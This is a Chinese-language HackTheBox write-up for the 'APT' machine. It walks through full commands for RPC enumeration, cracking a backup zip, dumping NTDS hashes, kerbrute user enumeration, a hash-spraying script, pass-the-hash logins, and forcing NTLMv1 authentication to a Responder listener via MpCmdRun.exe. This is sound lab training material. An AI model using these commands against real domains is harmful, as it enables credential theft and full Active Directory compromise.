HTB靶机:APT
难度:Insane
下载vpn文件连接靶场

先扫描一下开放端口


nmap 的脚本漏洞扫描

结果:web服务没有xss,没有dom形xss,没有csrf
135是msrpc
在support页面可以提交内容,


gobuster 对站点目录进行爆破,

爆破出来的目录都看了一下,没什么可以利用的
接下来对其源码进行审计

Httrack Website Copier/3.x
发现网站是克隆的

searchsploit上也没有可用的exploits
现在web上能查看的信息已经都看过了,不排除后面再获取到其他信息后再回来结合起来利用,
现在查看一下135端口rpc

rpc详细信息参考连接
https://book.hacktricks.xyz/network-services-pentesting/135-pentesting-msrpc
135、593端口都是rpc使用的,
作为一项web服务的时候他会在593端口暴露

kali自带rpcclient
尝试连接,发现超时,

因为rpc默认使用的是139不是135,139是session server 会话服务的
我们制定135端口

发现还是不行
我们需要把python的impacket工具路径添加到系统PATH中
export PATH=/usr/share/doc/python3-impacket/examples:$PATH

impacket项目github地址https://github.com/fortra/impacket
现在由Fortra托管并维护https://www.secureauth.com/labs/open-source-tools/impacket/

我们使用impacket库中的rpcdump.py模块

前面已经把impacket工具路径添加到系统PATH中了,现在可以直接使用了
rpcdump.py 目标ip

可以dump出UUID,全局唯一标识符
为什么会有这些东西,是因为在rpc的远程过程调用这个协议下在135端口一般来说它跑的是Dcom的服务,而Dcom它要解决的问题就是基于与网络的互操作,它需要对每一个方法每一个组件都有一个唯一识别符UUID。
他仅仅是把rpc协议下 在135端口上跑的Dcom的一些组件或者一些方法列给我们了,
但是我们并不知道是干嘛的 我们还要用到另一个工具rpcmap是impact组件里面的内容

接下来尝试爆破uuid的MGMT管理接口

大部分是报错的,
最后有两个success

直接搜索成功的这个uuid
尽可能的用微软的,微软原来有msdn后来把msdn改成doc就是文档库,也是非常有价值的。
直接页面搜索

发现这个uuid运行的是一个RPC的IObjiectExporter的一个接口,
而且有具体版本,我们到这个版本的具体详情查看一下
再看一下成功的那个Opnum 3和Opnum 5具体是啥

Opnum 3是由客户端去调用,以使用给定的 RPC 协议测试服务器的存活性。
Opnum 5是随 DCOM 远程协议 5.6 版一起推出。扩展 ServerAlive 方法并返回对象解析器的字符串和安全绑定。
知道了运行的具体服务后,我们搜索该方法的漏洞利用方法,
Google搜索IObjectExporter Methods::ServerAlive

漏洞利用的方法官方肯定不会提供,只能找第三方的回答,
第三个
和下面的Stack Overflow中提供的解决方法
https://github.com/EddieIvan01/win32api-practice/tree/master/oxid-nic-resolver


都可以
这里直接使用第三个教程,无需授权远程枚举网卡

文档中有提供python利用脚本

直接把他提供的poc拿过来改一下目标ip

梭哈~

成了,拿到目标ipv6的地址
先测试一下是否能连通

没问题,是通的
接下里进行扫描

查看这些开放出来的端口,
53是一个dns的端口
80是web端口
88是kerberos-sec
135是msrpc
445是smb
464是kpasswd的端口
593是rpc作为一个web服务的时候用的593端口
3269是全局边路
有这几个端口,几乎可以判定这是一个dc
就是预控制器
因为这些端口太典型了
这几个端口尤其是53和3268类似,这些端口出来,那就很可能就是一个域控制器
88端口就是kerberos-sec, 然后kerberos的密码分发中心就是kdc,就是在这个88端口上来侦听这个票据
就是taket各种请求的
135端口是rpc,用rpc协议来提供dcom服务
然后389是轻量目录访问协议,389他后边应该也有,389和636,这两个端口是经常一起出现的,实际上都是轻量目录访问协议,只是636这个端口它是ssl的
445就是传统的smb,
然后464是k是kerberos, kpasswd是kerberos的passwd服务
然后593和135端口都是rpc服务
只是593这个端口是把rpc作为一项web服务的
593-http-rpc-epmap中的ep是endpoint终端的意思,终端的映射

然后3268和3269都是全局边路的,轻量的目录访问协议,后面加了ssl和刚刚那个是一个逻辑
3268和3269这个全局边路,它主要是负责这个预控制器
它想通过防火墙的时候,他必须像全局边路来查询用户它隶属于哪个组

5985-wsman就是windows rm,这个我们用的非常的多
其实它本身呢它叫winrm rm是remote就是windows remote management的一个缩写
wsman中的man也是management的意思
这是不同的机构,它的命名方式会有一些差别
其实5985和另一个47001是一组 ,然后还有一个5986, 5986是加了ssl的
那为什么还有一个47001呢,是因为如果这台预控制器把win rm部署了
但是他没做设置,这样默认的开的就是47001这个端口
如果设置完成之后,就会开5985端口,如果加了s s l,就会有5986
但是设置了5985,或者是同时设置了5985和5986
同时47001还会存在,这个是这些端口的意义。
然后接下来就是一些动态端口,

这些就是动态范围的端口,都是临时的,像windows 2008啊,或者像vista那些版本的时候,他从49152这个端口号来开始,
但是早一点的,像windows xp或者是2000,还有windows 2003,那个时候是从1025,就是1024是知名的端口,那在1025~5000
这个是动态范围的端口
现在我们这台机器,我们肯定看出来它是比较新的,因为它是从49152之后来使用的动态端口
这些动态端口是某一个服务,或者是某一个第三方的软件
他们在临时起一个呃进程,或者是临时起一个服务的时候
他就会在这个动态范围端口里面去选
这个还是需要记忆一下的
我能看到49664
我虽然不知道他是哪一个服务器的端口
它后台是干嘛的
但是我肯定知道它是动态范围端口
但是也有可能他下次启动它可能就消失了
或者就变成其他了
他从49152开始到65535
那这些端口就证明这是一个windows server
2008或者是vista
然后之后的版本
比如说5000以内的
然后又是1024以上的
└─# nmap -6 --min-rate 10000 -sC -sV -sT -O -p53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49674,49698,51389 dead:beef::b885:d62a:d679:573f
Starting Nmap 7.92 ( https://nmap.org ) at 2023-09-13 10:32 CST
Stats: 0:01:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 10:33 (0:00:00 remaining)
Nmap scan report for dead:beef::b885:d62a:d679:573f
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-server-header:
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
|_http-title: Bad Request
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-13 02:32:43Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after: 2050-09-24T07:17:18
|_ssl-date: 2023-09-13T02:34:16+00:00; -1s from scanner time.
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after: 2050-09-24T07:17:18
|_ssl-date: 2023-09-13T02:34:16+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-13T02:34:16+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after: 2050-09-24T07:17:18
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after: 2050-09-24T07:17:18
|_ssl-date: 2023-09-13T02:34:16+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Bad Request
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
51389/tcp open msrpc Microsoft Windows RPC
No OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=6%D=9/13%OT=53%CT=%CU=%PV=N%DS=1%DC=D%G=Y%TM=65011FAD%P=a
OS:arch64-unknown-linux-gnu)S1(P=6000{4}28063fXX{32}0035e28cdf021a5981e55d
OS:61a012200058b6000002040525010303080402080a02280a90ff{4}%ST=0.896733%RT=
OS:1.18102)S2(P=6000{4}28063fXX{32}0035e28de57db22081e55d62a0122000ba17000
OS:002040525010303080402080a02280aeaff{4}%ST=0.996733%RT=1.2931)S3(P=6000{
OS:4}28063fXX{32}0035e28ef4e3912081e55d63a0122000ce56000002040525010303080
OS:101080a02280b44ff{4}%ST=1.09686%RT=1.3734)S4(P=6000{4}28063fXX{32}0035e
OS:28fbd49745581e55d64a01220001f41000002040525010303080402080a02280bbcff{4
OS:}%ST=1.19674%RT=1.49715)S5(P=6000{4}28063fXX{32}0035e290c655908881e55d6
OS:5a0122000f9ae000002040525010303080402080a02280c0dff{4}%ST=1.29687%RT=1.
OS:56885)S6(P=6000{4}24063fXX{32}0035e291bbeac15d81e55d6690122000e6ef00000
OS:20405250402080a02280c6fff{4}%ST=1.39679%RT=1.65698)IE1(P=6000{4}803a3fX
OS:X{32}8100cacbabcd00{122}%ST=0.582322%RT=0.853236)TECN(P=602000{3}20063f
OS:XX{32}0035e2925742613781e55d6780522000cd150000020405250103030801010402%
OS:ST=0.781519%RT=1.05664)EXTRA(FL=12345)
Network Distance: 1 hop
Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -8m34s, deviation: 22m39s, median: -1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-13T02:33:58
|_ start_date: 2023-09-12T16:31:06
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: apt
| NetBIOS computer name: APT\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: apt.htb.local
|_ System time: 2023-09-13T03:33:50+01:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.05 seconds先找smb共享或者ftp一类

都看一下有啥有用的东西

只有/backup目录下有个备份的压缩包,
下载下来先不着急解压,先看一下文件属性,和里面有什么东西,
ntds.dit是域控制器里的SAM,
正常的机器它的密码是存在SAM里,而域控制器的密码是存在ntds.dit里的

unzip 压缩包发现有密码,只能先破解
解压缩.zip文件是有程序的,
先提取一个哈希值

然后放到文本中

别忘了更新一下数据库

为什么需要获取这个哈希,因为他每一种压缩格式都有自己的中间文件,总共107种

破解流程就是先用对应的压缩格式的2john去生成压缩包的哈希值,然后对这个哈希进行破解

搜嘎,
john破解出来的密码记录在/root/.john/john.pot文件中
也可以用fcrackzip,但是不太推荐
fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip

文件拿到了

文件拿到后就可以使用secretsdump.py把密码给dump出来了
secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL

一共有8千行
把这些内容都保存起来,然后把有用的再挑出来

我们只需要密码账号密码,就是带:::的那些行


一共有两千行
这些都是用户名和密码
5985是开放的,直接用evil-winrm登录
evil-winrm -i htb.local -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe'

登录失败,发现这些账号和密码hash有些是不对的,
所以需要进行md5碰撞,来检测出有哪些是正确的,且现在还在用的
先把用户名导出来

看一下有多少,有没有重复的
没有重复的也不可能有重复的,系统中不能有重复账号
然后把账号和密码hash单独放到对应的文本中
cat ntds.hash | grep ':::' | awk -F ':' '{print $1}' | sort -u > user_list

cat ntds.hash | grep ':::' | awk -F ':' '{print $3,$4}' | sed 's/ /:/g' > hash_list

因为有两千个账号和密码hash,如果对两千个hash进行碰撞,那结算量太大了,
所以要筛选出来那些账号是有效的。
这里需要用到是一个叫pre-authentication,这个不是命令是一种机制。
当你拿到一个账号密码时,你需要跟域控制器进行会话,
这个密码存在和不存在,域控制器返回的信息是不一样的
验证这个账号是否有效需要用到的工具叫kerbrute
这个工具没有arm64版本的
根据大佬的教程,实现amd64转换arm64
先编辑git的代理,才能下载这个包

然后进入kerbrute文件夹中,编辑 Makefile
在ARCHS行后加是空格arm64
再make linux

报错,go未找到,因为没有安装golang
安装完后还是报错

因为代理没挂

ok了,

直接梭哈
./kerbrute_linux_arm64 userenum -d htb.local --dc htb.local user_list

OK了
另一种方法
我们用nmap的--script=krb5-enum-users模块来验证
该模块的官方教程https://nmap.org/nsedoc/scripts/krb5-enum-users.html
nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=user_list htb.local

验证出来三个是存活的。
我们要用这三个用户去跟那两千个哈希做验证
这里使用crackmapexec这个工具
crackmapexec smb htb.local -u alive_user -H hash_list

这里发现试了几次之后就连接失败了,有可能就是服务器做了限制,再次尝试服务器无响应了,
到这里服务器已经把我们的ip给办了,只能重置这台靶机,
重置之后测试一下连通性

ok,没问题,继续日。
接下来换个工具,getTGT.py
这个工具是得到TGT(票据授予票据),
对于windows的安全认证机制,我想要获取TGT,我只需要用户名和哈希值
这里可以写一个bash脚本<getTGT_auto.sh>
#! /bin/bash
while IFS='' read -r LINE || [ -n "${LINE}" ]
do
echo "------------------"
echo "Feed the Hash:${LINE}"
/usr/share/doc/python3-impacket/examples/getTGT.py htb.local/henry.vinson@htb.local -hashes ${LINE}
done < hash_list然后给执行权限,再执行,

这个循环是能跑了,但是现在的问题是他有两千个hash,我不知道他那个是成功的,
因为hash成功的话会取回一个文件到本地,所以我监听本地新增的文件,来判断是否成功。
使用命令 watch "ls -ltr | tail -2" 监视最后2个增加的文件
新创个文件夹,把所需的文件放进来,开启监视,然后运行脚本。

在跑了十多分钟后,终于跑出来了,这个就是正确的hash值

拿到了用户名和用户的hash,我们找能够hash传递的工具,做横向移动,使用后 :半段hash值
evil-winrm -i htb.local -u henry.vinson -H 'e53d87d42adaa3ca32bdb34a876cbffb'

这个工具不行,我们换别的,再使用完整hash值
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local

再换
wmi exec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local

再换

reg.py是reg.exe 的python方法实现工具
reg.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU\\
H是host
HK是主键
U是user

优先看software,因为HKU就是存各种用户的软件信息的,

这里有个GiganticHostingManagementSystem这个就是网页的logo

继续看

好家伙,直接爆账号密码了
直接梭哈

权限有限,接下来提权,
先使用evil-winrm自带的menu中的提权模块试一试

提示成功了,但是没啥效果
然后就是各种目录下翻找可利用的点,


LAPS有一些可利用的方式
但是这里是本地的LAPS,不是域控的LAPS, 所以不管用
继续找,

这里需要借助另一个思路
就是查找有用的敏感信息
windows的https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
linux的https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

找一找有没有有用的历史记录文件

查看用户powershell历史记录中是有信息的,还有一段权限提升的操作

他先声明了一个变量是$Cred,给这个变量administrator的凭据
然后调用这个命令, 然后用-credential去指定了刚才这个变量,
计算机名是本地, 脚本块设置项目属性,然后路径lsa是local security authority
这块可以利用的
后面Lmcompatibilitylevel,Lm是加密算法,后面是兼容水平, 强制兼容水平 2,
如果这块可以利用,我们就可以利用administrator的权限了
Lmcompatibilitylevel 2对应的是NTLM v1版本

直接goog搜索ntlmv1 exploit的漏洞利用

用的是responder
Responder 是 LLMNR、NBT-NS 和 MDNS 毒化器,内置 HTTP/SMB/MSSQL/FTP/LDAP 流氓身份验证服务器,支持 NTLMv1/NTLMv2/LMv2、扩展安全性 NTLMSSP 和基本 HTTP 身份验证。

LLMNR、NBT-NS 和 MDNS这几个协议解决的一个问题,就是当你输入一个域名的时候
他首先要找你的host文件对吧,我们这台靶机渗透测试
最初的时候,我们对于ipv6在host中做了一个映射
其实上就是要优先去解析我本地的域名,所以我们在网址上输入一个域名的时候
他首先找host文件有没有解析,如果host没有,那么他找这个dns缓存是dns,还不是m dns啊
如果这个缓存找不到,那就找外面的dns,如果这些东西都找不到
那他在本地用这三个协议进行本地的查找,
这个responder的形式就是用毒化器的一种方式,在本地我让你来找我给你指定的东西
不懂的可以看这篇文章内网渗透之Responder攻防(上) - FreeBuf网络安全行业门户

之前看看到他有Windows Denfender

他里面这个MpCmdRun.exe就可以利用

接下来要利用的是另一种思维,
Live off the land翻译中文谚语就是靠山吃山,
入侵者使用系统中可用的合法软件和功能对其执行恶意操作。
大多数 LotL 攻击使用以下合法工具:
PowerShell,一个脚本启动框架,为Windows设备管理提供广泛的功能。攻击者使用 PowerShell 启动恶意脚本、提升权限、安装后门等。
WMI(Windows Management Instrumentation),一个用于访问各种Windows组件的接口。对于攻击者,WMI 是一种方便的工具,用于访问凭据、绕过安全工具(如用户帐户控制 (UAC) 和防病毒工具)、窃取文件以及启用跨网络的横向移动。
所以是这个理念在这个理念下产生了两组工具
分别对应着的是linux系统和windows系统
windows对应的是LOLBAS

在这里搜索一下这个程序的利用方法

他正常是windows Denfender的程序,但是它还可以提供下载功能

接下来需要利用这个工具把Responder传到靶机中,获取那个
git clone https://github.com/lgandx/Responder.git

查看当前连接靶场的隧道接口

./Responder.py -I tun4 --lm

kali开启监听./Responder.py -I tun4 --lm
靶机下载,不需要访问任何文件,只需要连接就行
./MpCmdRun.exe -Scan -scantype 3 -File \\10.10.14.7\noexist

kali这里就可以看到这个连接了,而且使用的是APT这隐藏账号,
这里APT后面的值是随即的,因为Responder默认设置是随即的

ctrl+c退出Responder
使用./Responder.py -I tun4 --lm -v 用-v让他重新显示一下,确实是随即的

但是我们可以修改
ctrl+c退出Responder
vim Responder.conf
把Challenge 修改成一个16位的数值就行

OK,再次运行

这里看到值已经固定了

然后后面还是待把challeng set 改成1122334455667788,因为后面的破解网站有固定格式需要
然后执行
python3 ./ntlmv1.py --ntlmv1 APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

下面是这个软件给出的可尝试的方法
有hashcat的方法,然后下面还有一个是一个在线破解的网站crack.sh
都可以试一试
crash.sh这个网站就可以

点进去,第一个

额,我打靶的时候这个提供破解的网站暂时在维护,

需要注意的就是用这个网站提供的破解服务,
需要把challeng set 修改成他们要求的格式[1122334455667788]
要不然其他格式他们要收费

使用其他的方式来破解
hashcat

hashcat破解太慢了,要120多年。。。。比建议使用。
这里只能先借用人家crack.sh网站破解出来的拿来用了,
这个就是人家通过crack.sh输入NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384这个值来破解

解出来为d167c3238864b12f5f82feae86a7f798

这里需要完整hash值,把前面半段也要加上aad3b435b51404eeaad3b435b51404ee
secretsdump.py -hashes 'aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798' 'htb.local/APT$@htb.local'

终于跑出来了。。。。
这里的hash值应该是有效的
我们直接用administrator的hash来登录试试

没问题,
然后到Desktop下查看root.txt

整理一下,打这个靶场所用到的工具
IOXIDResolver.py
TCPDUMP
rpcclient
rpcdump.py
rpcmap.py
smbclient.py
zip2john
fcrackzip
secretdump.py
nmap krb5-enum-users script
kerbrute
shell script
evil-winrm
psexec.py
wmiexec.py
smbexec.py
dcomexec.py
reg.py
python3-impacket
HKU registry
LM NTLM
Live off the land mindset: LOLBAS,GTFOBins
responder
LLMNR,NBNS mDNS

评论区